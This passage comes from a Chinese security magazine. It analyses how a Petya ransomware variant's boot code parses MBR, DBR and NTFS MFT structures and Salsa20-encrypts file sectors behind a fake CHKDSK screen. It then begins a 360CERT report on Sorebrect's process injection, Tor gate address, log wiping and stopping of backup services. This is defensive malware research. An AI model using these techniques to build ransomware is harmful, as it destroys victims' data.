器的磁盘前 23 个扇区的数据进行分析，对应代码数据的 Hash 为 

841e12729f200a5620859f2958e2d484。 

相关数据结构 

计算机启动时执行完 BIOS 的启动代码，检查各硬件设备正常后，JMP 到 MBR 的引导代

码进行执行；然后由 MBR 引导至活动分区的 DBR，再由 DBR 引导操作系统。如：DBR 调用

NTLDR，再由 NTLDR 调用系统内核。 

Petya 病毒修改了系统的 MBR，病毒在 Bios 加载后获得执行机会，病毒将加载存储在

0x1 扇区后的大小为 0x20 大小的病毒代码加载执行，这些代码会还原出真实的 MBR，通过

对还原出来的 MBR 解析，得到系统的 DBR，通过 DBR 解析到系统的 MFT 结构，遍历所有

的 MFT，根据 MFT 找到文件内容所在的扇区后，读取该扇区加密内容后再写回到扇区中，从

而实现对文件的加密。要完整的了解整个的加密过程，首先就是熟悉系统的 MBR、DBR、MFT

等结构的含义与功能。 

MBR 

Petya 病毒修改了系统的 MBR，病毒在 Bios 加载后获得执行机会，病毒将加载存储在

0x1 扇区后的大小为 0x20 大小的病毒代码加载执行，这些代码会还原出真实的 MBR。在加

密文件的过程中，Petya 病毒会使用到 MBR 中。 

MBR 扇区由以下四部分组成： 

http://bobao.360.cn/learning/detail/4169.html
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引导代码：引导代码占 MBR 分区的前 440 字节，负责整个系统启动。如果引导代码被破

坏，系统将无法启动。 

Windows 磁盘签名：占引导代码后面的 4 字节，是 Windows 初始化磁盘写入的磁盘标

签，如果此标签被破坏，则系统会提示“初始化磁盘”。 

MBR 分区表：占 Windows 磁盘标签后面的 64 个字节，是整个硬盘的分区表。 

MBR 结束标志：占 MBR 扇区最后 2 个字节，一直为“55 AA”。 

MBR 结构如下 ： 

;==================================================================== 

;    主引导记录(MBR)结构 

;==================================================================== 

typedef struct _MASTER_BOOT_RECORD 

{ 

 UCHAR    BootCode[446]; 

 PARTITION_ENTRY  Partition[4]; 

 USHORT    Signature; 

}MASTER_BOOT_RECORD,*PMASTER_BOOT_RECORD; 

; 

;==================================================================== 

;==================================================================== 

;     分区表项结构(16 字节) 

;==================================================================== 

; 

 typedef struct _PARTITION_ENTRY 

 { 

  UCHAR BootIndicator;  // 能否启动标志 

  UCHAR StartHead;   // 该分区起始磁头号 

  UCHAR StartSector;  // 起始柱面号高 2 位：6 位起始扇区号 

  UCHAR StartCylinder;  // 起始柱面号低 8 位 

  UCHAR PartitionType;  // 分区类型 

  UCHAR EndHead;   // 该分区终止磁头号 

  UCHAR EndSector;   // 终止柱面号高 2 位：6 位终止扇区号 

  UCHAR EndCylinder;  // 终止柱面号低 8 位 

  ULONG StartLBA;   // 起始扇区号 

  ULONG TotalSector;  // 分区尺寸（总扇区数） 

 }PARTITION_ENTRY,*PPARTITION_ENTRY; 
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对于其中的 PartitionType 字段，Windows 下可识别的分区类型主要有： 

0x07 表示普通分区(Windows 分区、数据分区。默认分区类型)。 

0xEE 表示该分区表是 PMBR，紧随其后的应该是 GPT 分区表头和 GPT 分区表，因此这

是一块 GPT 硬盘。 

0xEF 表示 EFI 系统分区。 

Petya 在解密出原始的 MBR 后，解析 MBR 结构，得到起始扇区号，并根据起始扇区定

位到 DBR。 

病毒解析 MBR 时，会对分区类型做判断，如果 PMBR 和 EFI 类型的系统分区，默认会不

做处理。 

在 010editor 工具中查看 

 

判断分区类型，取了这两个字段：开始扇区与扇区大小：  

http://p8.qhimg.com/t01d7390fb26543d5cf.png
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在启动扇区（也就是 63 扇区）处，读一个扇区的内容，就是 DBR 结构 

从 MBR 中可以定位到 MBR 分区表,根据分区表的属性就可以得到活动分区的扇区地址，

也就得到了 DBR 结构地址。 

DBR 

DBR 中存放着关于文件系统的重要参数信息以及系统引导代码。病毒解析到 DBR 后，只

是为了取的 DBR 结构中的 MftStartLcn 字段(这个字段表明了 MFT 结构所在的扇区地址)，以

便能进一步定位文件系统。 

DBR 的结构如下：  

1.  ////////////////////////////////////////////////////////////////////////////

   

2.  //   

3.  //  NTFS 的 DBR 数据结构   

4.  //   

5.  ////////////////////////////////////////////////////////////////////////////

   

6.  typedef struct _BIOS_PARAMETER_BLOCK {   

7.     

8.   /*+0x0B*/    uint16  BytesPerSector;    // 字节/扇区一般为 0x0200 即 512   

9.   /*+0x0D*/    uchar   SectorsPerCluster; // 扇区/簇    

http://p9.qhimg.com/t0112b2220a0f230456.png
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10.  /*+0x0E*/    uint16  ReservedSectors;   // 保留扇区   

11.  /*+0x0F*/    uchar   Fats;              //    

12.  /*+0x11*/    uint16  RootEntries;       //    

13.  /*+0x13*/    uint16  Sectors;           //    

14.  /*+0x15*/    uchar   Media;             // 媒介描述   

15.  /*+0x16*/    uint16  SectorsPerFat;     //    

16.  /*+0x18*/    uint16  SectorsPerTrack;   // 扇区/磁轨   

17.  /*+0x1A*/    uint16  Heads;             // 头   

18.  /*+0x1C*/    uint32  HiddenSectors;     // 隐藏扇区   

19.  /*+0x20*/    uint32  LargeSectors;      // checked when volume is mounted   

20.    

21. }BIOS_PARAMETER_BLOCK, *pBIOS_PARAMETER_BLOCK;   

  

  

typedef struct _NTFS_Boot_Sector{   

1.   /*+0x00*/  uchar    JmpCode[3];        // 跳转指令   

2.   /*+0x03*/  char     OemID[8];          // 文件系统 ID   

3.   /*+0x0B*/  BIOS_PARAMETER_BLOCK PackedBpb;   // BPB   

4.   /*+0x24*/  uchar    Unused[4];           // 未使用,总是为   

5.   /*+0x28*/  uint64   NumberSectors;       // 扇区总数   

6.   /*+0x30*/  lcn      MftStartLcn;        // 开始 C# $MFT  (簇) 乘

以 BIOS_PARAMETER_BLOCK.SectorsPerCluster 值得到扇区号   

7.   /*+0x38*/  lcn      Mft2StartLcn;       // 开始 C# $MFTMirr (簇)   

8.   /*+0x40*/  uchar    ClustersPerFileRecordSegment;  // 文件记录大小指示器   

9.   /*+0x41*/  uchar   Reserved0[3];       // 未使用   

10.  /*+0x44*/  uchar DefaultClustersPerIndexAllocationBuffer;     // 簇/索引块   

11.  /*+0x45*/  uchar   Reserved1[3];       // 未使用   

12.  /*+0x48*/  uint64  SerialNumber;       // 64 位序列号   

13.  /*+0x50*/  uint32  Checksum;           // 校验和   

14.  /*+0x54*/  uchar   BootStrap[426];     // 启动代码   

15.  /*+0x1FE*/ uint16  RecordEndSign;      // 0xAA55 结束标记   

16. }NTFS_Boot_Sector, *pNTFS_Boot_Sector; 

其中，定位 MFT 时，最重要的结构为 MftStartLcn 表示起始簇号，乘以

BIOS_PARAMETER_BLOCK.SectorsPerCluster（在我的机器上这个值为 8，表示一个簇由 8

个扇区组成）后就得到起始扇区号。 

MFT 
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简介 

MFT，即主文件表（Master File Table）的简称，它是 NTFS 文件系统的核心。MFT 由

一个个 MFT 项（也称为文件记录）组成。每个 MFT 项的前部为 0x10 字节的头结构，用来描

述本 MFT 项的相关信息。后面节存放着属性。每个文件和目录的信息都包含在 MFT 中，每

个文件和目录至少有一个 MFT 项。除了引导扇区外，访问其他任何一个文件前都需要先访问

MFT，在 MFT 中找到该文件的 MFT 项，根据 MFT 项中记录的信息找到文件内容并对其进行

访问。 

MFT 结构分为两种：元文件与普通文件。 

元文件对于用户是不能直接访问的，MFT 将开头的 16 个文件记录块保留用于这些元数据

文件，除此之外的文件记录块才用于普通的用户文件和目录。 

16 个元文件  

#defineMFT_IDX_MFT0 

#defineMFT_IDX_MFT_MIRR1 

#defineMFT_IDX_LOG_FILE2 

#defineMFT_IDX_VOLUME3 

#defineMFT_IDX_ATTR_DEF4 

#defineMFT_IDX_ROOT5 

#defineMFT_IDX_BITMAP6 

#defineMFT_IDX_BOOT7 

#defineMFT_IDX_BAD_CLUSTER8 

#defineMFT_IDX_SECURE9 

#defineMFT_IDX_UPCASE10 

#defineMFT_IDX_EXTEND11 

#defineMFT_IDX_RESERVED1212 

#defineMFT_IDX_RESERVED1313 

#defineMFT_IDX_RESERVED1414 

#defineMFT_IDX_RESERVED1515 

#defineMFT_IDX_USER16 

这 16 个原文件本身也是 MFT 结构的模式，可以理解为记录了 MFT 信息的 MFT 结构。 

怎么解析这 16 个原文件的 MFT 结构呢？ 

换句话说，通过 MBR 定位到 DBR,通过 DBR 定位到 MFT，此时的 MFT 就对应着索引为

MFT_IDX_MFT 的 MFT，向后偏移文件记录大小的地方，就存放着索引为
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MFT_IDX_MFT_MIRR 的 MFT。再向后偏移文件记录大小的地方，就存放着索引为

MFT_IDX_LOG_FILE 的 MFT 

解析这 16 个原文件的 MFT 结构有什么用？ 

如对于 MFT_IDX_VOLUME 这个 MFT 结构，解析这个 MFT 结构中的

ATTR_TYPE_VOLUME_INFORMATION（对应着 0x70）就可以得到 NTFS 卷的版本信息,解

析这个 MFT 结构中的 ATTR_TYPE_VOLUME_NAME 属性（对应着 0x60）就可以得到 NTFS

卷名信息。 

再如，对于 MFT_IDX_MFT 这个 MFT 结构，解析这个 MFT 结构中的 ATTR_TYPE_DATA

（对应 0x80）的属性 RealSize，就表示整个卷所有的文件记录的大小信息。利用这个大小信

息是以字节表示的，用这个大小信息除以每个文件记录所占用的字节就得到了卷占有的文件记

录数量。计算出来的文件记录数量是将元文件也计算在内的。 

依次遍历每个文件记录数量，读取这个文件记录的内容就是 MFT 结构，解析这个 MFT

的对应属性就可以解析出文件名、文件属性、文件内容等。 

普通 MFT 

遍历文件时，从第 16 个文件记录开始向后遍历，才会得到普通的用户文件和目录信息及

内容。 

数据结构 

MFT 的直观结构如下， 

// 文件记录体 

// 属性 1 

// 属性 2 

// ………… 
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每个 MFT 的结构如下：  

// 文件记录头   

typedef struct _FILE_RECORD_HEADER   

{   

 /*+0x00*/  uint32 Type;            // 固定值'FILE'   

 /*+0x04*/  uint16 UsaOffset;       // 更新序列号偏移, 与操作系统有关   

 /*+0x06*/  uint16 UsaCount;        // 固定列表大小 Size in words of Update Sequence Number & Array (S)   

 /*+0x08*/  uint64 Lsn;             // 日志文件序列号(LSN)   

} FILE_RECORD_HEADER, *PFILE_RECORD_HEADER;   

  

// 文件记录体   

typedef struct _FILE_RECORD{   

 /*+0x00*/  FILE_RECORD_HEADER Ntfs;  // MFT 表头   

 /*+0x10*/  uint16  SequenceNumber;   // 序列号(用于记录文件被反复使用的次数)   

 /*+0x12*/  uint16  LinkCount;        // 硬连接数   

 /*+0x14*/  uint16  AttributeOffset;  // 第一个属性偏移   

 /*+0x16*/  uint16  Flags;            // falgs, 00 表示删除文件,01 表示正常文件,02 表示删除目录,03 表示正常

http://p8.qhimg.com/t019c1b045eb1394645.png
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目录   

 /*+0x18*/  uint32  BytesInUse;       // 文件记录实时大小(字节) 当前 MFT 表项长度,到 FFFFFF 的长度+4   

 /*+0x1C*/  uint32  BytesAllocated;   // 文件记录分配大小(字节)   

 /*+0x20*/  uint64  BaseFileRecord;   // = 0 基础文件记录 File reference to the base FILE record   

 /*+0x28*/  uint16  NextAttributeNumber; // 下一个自由 ID 号   

 /*+0x2A*/  uint16  Pading;           // 边界   

 /*+0x2C*/  uint32  MFTRecordNumber;  // windows xp 中使用,本 MFT 记录号   

 /*+0x30*/  uint32  MFTUseFlags;      // MFT 的使用标记   

}FILE_RECORD, *pFILE_RECORD; 

根据 FILE 头部数据找到下面的一个个属性,接下来分析的就是一个个属性了，属性由属性

头跟属性体组成,属性头的结构定义如下：  

// 属性头   

typedef struct   

{   

 /*+0x00*/  ATTRIBUTE_TYPE AttributeType;    // 属性类型   

 /*+0x04*/  uint16 RecordLength;             // 总长度(Header+body 长度)   

 /**0x06*/  uint16 unknow0;   

 /*+0x08*/  uchar Nonresident;               // 非常驻标志   

 /*+0x09*/  uchar NameLength;                // 操作属性名长度   

    

                                          // 0X0001 为压缩标记   

                                        // 0X4000 为加密标记   

                                        // 0X8000 为系数文件标志   

 /*+0x0A*/  uint16 NameOffset;           // 属性名偏移(从属性起始位置的偏移)   

                                              // NameLength 如果不为零,则用这个值去寻址数据偏移   

 /*+0x0C*/  uint16 Flags;                    // ATTRIBUTE_xxx flags.   

 /*+0x0E*/  uint16 AttributeNumber;          // The file-record-unique attribute instance number for this attribut

e.   

} ATTRIBUTE, *PATTRIBUTE;   

    

// 属性头    

typedef struct _RESIDENT_ATTRIBUTE   

{   

 /*+0x00*/  ATTRIBUTE Attribute;   // 属性   

 /*+0x10*/  uint32 ValueLength;    // Data 部分长度   

 /*+0x14*/  uint16 ValueOffset;    // Data 内容起始偏移   

 /*+0x16*/  uchar Flags;           // 索引标志   
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 /*+0x17*/  uchar Padding0;        // 填充   

} RESIDENT_ATTRIBUTE, *PRESIDENT_ATTRIBUTE; 

Petya 中涉及到 MFT 的属性  

// 属性类型定义  

AttributeFileName = 0x30,   

AttributeData = 0x80,  

这两个属性的定义如下： 

// 文件属性 ATTRIBUTE.AttributeType == 0x30   

typedef struct   

{   

 /*+0x00*/  uint64 DirectoryFile:48;    // 父目录记录号(前个字节)   

 /*+0x06*/  uint64 ReferenceNumber:16;  // +序列号(与目录相关)   

 /*+0x08*/  uint64 CreationTime;        // 文件创建时间   

 /*+0x10*/  uint64 ChangeTime;          // 文件修改时间           

 /*+0x18*/  uint64 LastWriteTime;       // MFT 更新的时间   

 /*+0x20*/  uint64 LastAccessTime;      // 最后一次访问时间   

 /*+0x28*/  uint64 AllocatedSize;       // 文件分配大小   

 /*+0x30*/  uint64 DataSize;            // 文件实际大小   

 /*+0x38*/  uint32 FileAttributes;      // 标志,如目录\压缩\隐藏等   

 /*+0x3C*/  uint32 AlignmentOrReserved; // 用于 EAS 和重解析   

 /*+0x40*/  uchar NameLength;      // 以字符计的文件名长度,没字节占用字节数由下一字节命名空间确

定   

    

            // 文件名命名空间, 0 POSIX 大小写敏感,1 win32 空间,2 DOS 空间, 3 win32&DOS 空间   

 /*+0x41*/  uchar NameType;           

 /*+0x42*/  wchar Name[1];         // 以 Unicode 方式标识的文件名   

} FILENAME_ATTRIBUTE, *PFILENAME_ATTRIBUTE; 

  

// 数据流属性 ATTRIBUTE.AttributeType == 0x80    

typedef struct _NONRESIDENT_ATTRIBUTE   

{   

    /*+0x00*/   ATTRIBUTE Attribute;     

    

    /*+0x10*/   uint64 StartVcn;     // LowVcn 起始 VCN  起始簇号   

    /*+0x18*/   uint64 LastVcn;      // HighVcn  结束 VCN  结束簇号   

    

    /*+0x20*/   uint16 RunArrayOffset;    // 数据运行的偏移，非常重要  
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    /*+0x22*/   uint16 CompressionUnit;   // 压缩引擎   

    /*+0x24*/   uint32  Padding0;       // 填充   

    /*+0x28*/   uint32  IndexedFlag;    // 为属性值分配大小(按分配的簇的字节数计算)   

    /*+0x30*/   uint64 AllocatedSize;   // 属性值实际大小   

    /*+0x38*/   uint64 DataSize;     // 属性值压缩大小   

    /*+0x40*/   uint64 InitializedSize;   // 实际数据大小   

    /*+0x48*/   uint64 CompressedSize;    // 压缩后大小   

} NONRESIDENT_ATTRIBUTE, *PNONRESIDENT_ATTRIBUTE; 

对于 0x30 属性： 

对于 MFT 中的 0x30 属性的直观认识，如下： 

黄色部分对应着上表中的 ATTRIBUTE 结构，红色部分对应着上表中的

NONRESIDENT_ATTRIBUTE 结构。选中部分对应着 FILENAME_ATTRIBUTE 结构内容，这

里面包含了文件的各种时间属性和文件名等内容。 

  

Petya 病毒在遍历 MFT 时，会通过判断当前 MFT 的 AttributeFileName 属性判断是否

加密该 MFT。 

对于 0x80 属性： 

对于 MFT 中的 0x80 属性的直观认识，如下： 

http://p1.qhimg.com/t0123690677a1e10c71.png
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黄色部分对应着上表中的 ATTRIBUTE 结构，红色部分对应着上表中的

NONRESIDENT_ATTRIBUTE 结构。绿色部分对应着 RUN-LIST 结构内容。 

  

80H 属性是文件数据属性，该属性容纳着文件的内容，文件的大小一般指的就是未命名

数据流的大小。该属性没有最大最小限制，最小情况是该属性为常驻属性。常驻属性就不做多

的解释了，如下是一个非常驻的 80H 属性。 

该属性的“Run List”值为“32 0C 1B 00 00 0C”，其具体含义如下： 

  

Petya 病毒在加密文件内容时，会通过 Run List 定位到文件内容所在的真正扇区加密文

件，如果文件内容大于 2 个扇区，则只加密前两个扇区。 

http://p9.qhimg.com/t01b1806f888abc79c0.png
http://p6.qhimg.com/t0158a3a2686e4efffe.png
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恶意代码加载过程 

1 加载代码到 0x8000 执行 

从第一个扇区开始，读取 0x20 个扇区到 0x8000 地址处，随后跳到 0x8000 处执行 

循环读取 0x20 个扇区代码片段： 

  

在循环里使用 int 13 读取磁盘内容 

  

2 调用函数读取硬盘参数 

读取硬盘参数 

http://p2.qhimg.com/t012ac8b56a69ddd46a.png
http://p6.qhimg.com/t015f82fea4155f4f4a.png
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比较“FA 31 C0 8E”硬编码，判断当前的第一个扇区的内容是不是病毒写入的内容。 

  

3 判断加密标志 

读取 0x20 扇区的内容（该扇区保存了病毒的配置信息），判断该扇区的第一个字节是不

是 1，如果是 1，表示 mbr 已经被加过密，就来到显示勒索界面的流程;如果不为 1，表示还

未对 MBR 和 MFT 进行加密，进入加密流程。  

http://p5.qhimg.com/t014de69af87b3cf3bd.png
http://p8.qhimg.com/t019e8f14e49c204db0.png
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加密过程 

1 打印修复磁盘信息，设置加密标志 

打印出虚假的“Repairing file system on C:”信息，读取 0x20 扇区中的配置信息到内

存，并将读取到的配置信息的加密标志设置为 1。随后，将修改过加密标志的内容写入到扇区

中，为了保证写入成功，这里循环写了 0x20 次。 

打印的磁盘修复信息如下： 

 

 

http://p5.qhimg.com/t01d97ccf3fd6c4ee0e.png
http://p5.qhimg.com/t011e2b0ee8c9167bdf.png
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2 加密验证扇区 

加密验证扇区的方法为：读取 0x21 扇区的内容（这个扇区保存的全是 0x07 数据），使用

从配置信息扇区读取的 key 与 n 做为加密参数，调用 salsa 加密该读到的 0x07 内容，并将加

密后的内容写入到 0x21 扇区中 

 

 

http://p7.qhimg.com/t016f39a8615c481359.png
http://p9.qhimg.com/t0173994279fe9c5873.png
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显示虚假的“CHKDSK is repairing sector”界面，实际在后台正在加密 MFT 数据。 

  

3 加密操作 

文件遍历的原理 

Petya 病毒通过解析 MBR，DBR 得到 MFT 地址。解析 MFT 索引为 0 的元文件，得到属

性为 DATA 的属性内容，取出属性中的 RUN-LIST 结构中的簇数量与起始扇区，根据这两个

字段遍历所有的 MFT 就得到了当前文件系统中所有的文件信息。 

解析 MBR 

解析原始 MBR 数据的代码片段： 

http://p7.qhimg.com/t01f4091a29872d00ea.png
http://p2.qhimg.com/t01e8a46f4c9e47c485.png
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判断 MBR 中的分区类型： 

  

判断从 mbr 中读取到的 StartLBA 字段不为空 

   

从 mbr 中解析到 StartLBA 字段，并读取该字段对应的扇区，此扇区的内容就为 DBR 相

关的内容： 

 

http://p9.qhimg.com/t0174bb7fec62f8ee59.png
http://p8.qhimg.com/t01e56ae96cd35811cd.png
http://p5.qhimg.com/t012f2c3f70460943d8.png
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读取到 DBR 后，解析出 MftStartLcn 字段，该字段就表示 MFT 地址： 

http://p0.qhimg.com/t016136c167d805a735.png
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得到 MFT 地址后，该地址就是索引为 0 的 MFT 元文件地址,从该元文件结构中取出属性

为 0x80（DATA）的内容。 

首先读取到$MFT 的扇区内容： 

  

解析属性，判断是不是 0x80(DATA)属性类型 

http://p2.qhimg.com/t01b6c3721926e4da36.png
http://p0.qhimg.com/t01e47eca964cc8b458.png
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对$MFT 属性 0x80 中的解析，得到下面信息： 

run_data_cluster*sector/cluster + 0x20(0x20 为元文件占用的扇区大小)+mbr. 

arg_StartLBA，作为普通 MFT 扇区的起始扇区，这样是保证加密的过程中不会加密元文件扇

区与 mbr 相关的扇区。 

（run_data_num_clusters * sector/cluster）- 0x20(0x20 为元文件占用的扇区大小)，

做为普通 MFT 的扇区大小。 

 

http://p0.qhimg.com/t01f5291057f95d6189.png
http://p6.qhimg.com/t015c310cac5f2701e3.png
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随后，就来到遍历用户 MFT 的函数： 

  

遍历普通 MFT 结构 

遍历普通 MFT 结构的函数在 00008FA6 处，该函数为病毒代码中最为主要的函数。 

下面对这个函数进行详细分析: 

在调试的过程中，parse_User_MFT 函数的参数内容为：80 C6 5F 00 60 00 20 C6  00 00 

3F 00 00 00 3F 00 60 00 08 C6 2C 67 4A 67  8B 77 52 9C 01,结合调试时传递的参数内容，

对函数作出说明。 

http://p1.qhimg.com/t01ccd4a09d181e8e9e.png
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该函数主要功能为：对扇区中的 MFT 遍历，对不符合 MFT 头部标志(FILE)的扇区，会直

接调用 SALSA20 算法进行加密该扇区，对符合 MFT 头部标志的扇区，判断 0x30 属性中的文

件名判断是不是元文件，如果不是元文件名格式，则直接加密该扇区。其他情况下，判断 MFT

结构 0x80 属性中的常驻内存属性，如果是非常驻内存属性，就解析文件内容的前二个扇区，

取出该扇区的内容后，使用 salsa20 算法进行加密。 

1.先打印出“CHKDSK is repairing sector”，显示虚假的磁盘修复界面 

  

http://p2.qhimg.com/t01e6f3566ea728be9f.png
http://p9.qhimg.com/t01ec1678ac553caed6.png
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2.对当前 MFT 头是不是“FILE”,如果不是”FILE”的话，则直接加密这个扇区 

  

3.如果是 FILE，接着遍历 mft 的各个属性： 

如果属性为 AttributeFileName（0x30），判断文件名字长度是不是 1，如果长度为 1，

直接加密，如果长度不为 1，则看文件名字是不是以$开头(以$开头的是 NTFS 文件系统的元

文件)，如果是元文件，则加密当前 MFT. 

  

如果属性为 AttributeData 文件数据属性（0x80），则首先根据属性头判断是不是非常驻

内存，如果是常驻内存属性就跳过，不进行加密。如果是非常驻内存属性，则通过 RUNLIST

结构遍历到存储数据的真正的扇区位置。 

http://p3.qhimg.com/t01a5c76acb10617254.png
http://p9.qhimg.com/t013909464db1c60b95.png


  安全客-2017 年季刊-第 3 期 

—318— 
 

  

解析 RUNLIST 

  

根据 RUNLIST 中的起始簇乘以 MBR 中保存的每簇对应的扇区数，得到数据真正所在的

扇区。 

  

随后，判断上面计算出的文件内容对应扇区数量是不是大于 2，如果大于 2，只加密前 2

个扇区。 

http://p6.qhimg.com/t012c01eea93ad2e5eb.png
http://p5.qhimg.com/t010ffdbd87283cc1b4.png
http://p7.qhimg.com/t012366db3e73668a12.png
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读取该 MFT 文件对应的文件内容的前两个分区，通过直接使用 int 13 中断从扇区读取到

文件内容，使用 salsa20 加密后，将密文直接写入的扇区中文件中。 

  

在动态调试时，可以看到加密了文件内容，加密文件内容前的数据 

http://p5.qhimg.com/t013c47b517ade7b68c.png
http://p3.qhimg.com/t013657a687f1383fd3.png
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被加密后的文件内容： 

http://p8.qhimg.com/t01deabf7143a250b0c.png
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加密函数 

对文件的加密使用了 SALSA20 算法，该算法属于流加密，在知道 key 和 iv 的情况下，

加密函数和解密函数可以为相同的函数代码。 

加密函数 

 

 

 

在密钥扩展的函数中，Petya 将原始的常数“expand 16-byte k”更改成了“1nvald s3ct” 

扩展密钥函数代码： 

http://p4.qhimg.com/t01acfcd6f23704dd69.png
http://p0.qhimg.com/t012a5889cc518a1ef9.png
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Salsa20 加密时使用的 key 和 iv 来自于配置信息扇区（0x20 扇区） 

  

将明文与生成的 keystream 异或，实现加密 

  

解密过程 

在开机启动过程中，MBR 引导后，加载扇区中的恶意代码后，恶意代码会判断配置信息

第 1 个 BYTE 是不是 1，1 表示已经加密过，则进入相应的解密过程中 

http://p1.qhimg.com/t015b12476130209766.png
http://p1.qhimg.com/t0195527a1b1abd280d.png
http://p5.qhimg.com/t01a6a952577ed4ed67.png
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1 打印勒索信息 

打印出勒索信息 

  

也就是显示如下的内容 

  

http://p9.qhimg.com/t01edca150abf7ab3a2.png
http://p6.qhimg.com/t011fba72e925625d0b.png
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2 读取用户输入的 key 

清空内存，读取用户输入的 key 

  

3 验证用户的 key 

在验证 KEY 的过程中，首先比较输入的 key 的长度，必须大于 0x20 长度 

  

将输入的 key 通过自定义算法的转换 0x21 次 

 

http://p0.qhimg.com/t0169011bbd4c2d5bb8.png
http://p6.qhimg.com/t018f8a4cbadd67c9ef.png
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使用转换过的 key，使用 salsa20 算法解密 0x21 扇区的内容（这个扇区的内容为加密过

的 0x7 内容），比较解密出来的内容是不是 0x7，如果是则表明解密密码正确。 

http://p6.qhimg.com/t015e237a13561729c4.png
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密码验证通过后，会使用这个 key 做为参数调用 DecryptProc 函数(并非勒索软件作者

定义的函数名)， 

http://p8.qhimg.com/t0130db97cc651e741d.png
http://p9.qhimg.com/t01e3c064a44c50dd54.png
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在 DecryptProc 函数中调用与加密时相同的函数进行对 MFT 结构进行遍历后解密， 

http://p5.qhimg.com/t01f81eb71d4380336a.png


  安全客-2017 年季刊-第 3 期 

—328— 
 

 

在解密完成后，打印“Please reboot your computer!”信息 

  

http://p7.qhimg.com/t014b3011e43b487d2a.png
http://p4.qhimg.com/t0196c78726eee95343.png


  安全客-2017 年季刊-第 3 期 

—329— 
 

总结 

本文对 Petya 变种勒索蠕虫的扇区启动代码进行了详细分析，分析显示 Petya 变种勒索

蠕虫并不仅会加密 MBR 和 MFT 结构，也会将 MFT 对应的文件内容的前两个扇区进行加密。

换句话说，Petya 变种勒索蠕虫在系统启动时 MBR 中的代码执行时也会进行全盘文件的加密

操作。结合 RING3 级别的勒索代码功能，Petya 会对文件执行两次加密操作，第一次为 Petya

勒索蠕虫执行时，使用 RSA 与 AES 算法遍历文件系统对指定扩展名的文件加密，第二次为系

统启动时，启动扇区的代码会通过遍历 MFT 结构定位文件内容并对文件使用 salsa20 算法进

行加密。对于 RING3 级别的文件加密过程，解密密钥可以通过勒索蠕虫作者的 RSA 私钥进行

解密获得，而启动扇区级别的文件加密过程使用了随机密码进行，启动扇区级别的文件加密无

法解密。 

参考 

http://dengqi.blog.51cto.com/5685776/1351300 

https://github.com/alexwebr/salsa20/blob/master/salsa20.c 

http://blog.csdn.net/enjoy5512/article/details/50966009 

http://bobao.360.cn/learning/detail/4039.html 
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Sorebrect 勒索病毒分析报告 

作者：houjingyi@360CERT 

原文来源：【安全客】http://bobao.360.cn/learning/detail/4154.html 

0x00  背景介绍 

 

2017 年 6 月安全研究人员发现了一种利用 AES-NI 特性的名为 Sorebrect 的勒索病毒，

它的代码和原始的 AES-NI 版本相比有一些显著的变化。一方面技术上它试图将恶意代码注入

http://p5.qhimg.com/t01bfdc708ff57a3c0b.png
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svchost.exe 中，再进行自毁以无文件的形式躲避检测。另一方面它声称使用了 NSA 的溢出

攻击工具（如：永恒之蓝漏洞）。 

360CERT 安全分析团队将在本文中对部分相关的技术进行具体分析。 

0x01  IOC 

CRC32: 907F515A 

MD5: 83E824C998F321A9179EFC5C2CD0A118 

SHA-1: 16B84004778505AFBCC1032D1325C9BED8679B79 

0x02  病毒详情 

在 Sorebrect 版本中使用的加密后缀是.aes_ni_0day 和.pr0tect，早期使用 AES-NI 特性

的勒索病毒使用的加密文件扩展名包括： .lock，.pre_alpha，.aes 和.aes_ni。 

Sorebrect 声称自己是特殊的“NSA EXPLOIT EDITION”，在 360CERT 具体分析过程中

暂时还没有发现有类似于 NotPetya 和 WannaCry 使用 NSA 泄露的工具传播的行为，传播方

式主要是感染网络中共享的文件。 

接下来，360CERT 对 Sorebrect 样本中使用的加解密、进程注入、反恢复、内网感染等

技术进行一系列的分析。 

初始化加解密 

Sorebrect 在程序开始运行时就使用了加解密技术，会对每个导入函数地址和固定值

0x772756B1h 进行异或加密保存，在调用时再与此值异或得到真正的函数地址。 

 

在一开始会先搜索被加载到内存中的 PE 文件起始位置。 

 

http://p3.qhimg.com/t016ea73d76c98594f9.png
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随后，开始解析 kernel32 的内存地址。  

 

进一步获取 LoadLibrary 函数的内存地址。  

 

 

http://p6.qhimg.com/t019301a02846064988.png
http://p3.qhimg.com/t0196ec3e6101e606c3.png
http://p6.qhimg.com/t0153438ffe1079d52a.png
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根据分析，主体程序会尝试获取下列 dll 的地址。 

  

具体在分析过程中，sub_A0A660 的三个参数，分别为动态库（dll）的地址，存放函数

地址与 0x772756B1h 异或加密之后的值的地址，和函数名称的 CRC32 与 0x772756B1h 异

或加密之后的值。 

  

尝试解析这些地址存放的函数地址对应的函数名称之后的效果如下所示。 

之前： 

http://p9.qhimg.com/t010f57cc3fd8b14bee.png
http://p8.qhimg.com/t01fb9a57e52bb25738.png
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之后： 

 

注入操作 

Sorebrect 会试图调用 DuplicateTokenEx 复制一份具有 system 权限的进程的 token，

再使用 CreateProcessWithTokenW 创建具有 system 权限的 svchost.exe。 

 

http://p1.qhimg.com/t01e1ffdf69c265ea5f.png
http://p4.qhimg.com/t0103c0b380585ca8e2.png
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如果上述过程没有成功，Sorebrect 会继续调用 CreateProcessW 创建一个普通权限的

svchost.exe。 

  

svchost.exe 进程创建后，Sorebrect 会调用 WriteProcessMemory 向创建的

svchost.exe 写入一段代码。 

 

http://p7.qhimg.com/t016447e328fdac4c46.png
http://p4.qhimg.com/t01cc1929e07bd0ab53.png
http://p4.qhimg.com/t0198bb949ca10e49a1.png
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注入代码之前： 

 

 

注入代码之后： 

 

http://p9.qhimg.com/t016dfac4e40d095da0.png
http://p4.qhimg.com/t0180c04ea0172e2441.png
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这段代码会试图在内存中加载并执行一个文件，该文件内容与原病毒基本相同。  

http://p9.qhimg.com/t010fb2767167e0564f.png
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主体程序接下来在内存中释放了一个 dll 文件，这个文件是 UPX 加壳的。 

  

TOR 通信 

Sorebrect 主体程序还会尝试连接 ipinfo.io，并以 kzg2xa3nsydva3p2.onion/gate.php

为参数调用前面释放的 dll。该 dll 的功能为进行 tor 通信。 

http://p7.qhimg.com/t016d659c124793b147.png
http://p2.qhimg.com/t015b71cf9c67187b41.png
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痕迹擦除 

创建一个批处理文件删除日志记录。  

 

http://p3.qhimg.com/t01d634630da188c08b.png
http://p2.qhimg.com/t01e209f1611dc08d14.png
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对抗恢复 

Sorebrect 会尝试停止下列服务，以此来对抗可能的文件恢复。这些服务包括各种备份软

件和数据库软件等等。 

BCFMonitorService.QBFCService.QBVSS.QuickBooksDB25.LMIRfsDriver.RemoteSystemMonitorService.MS

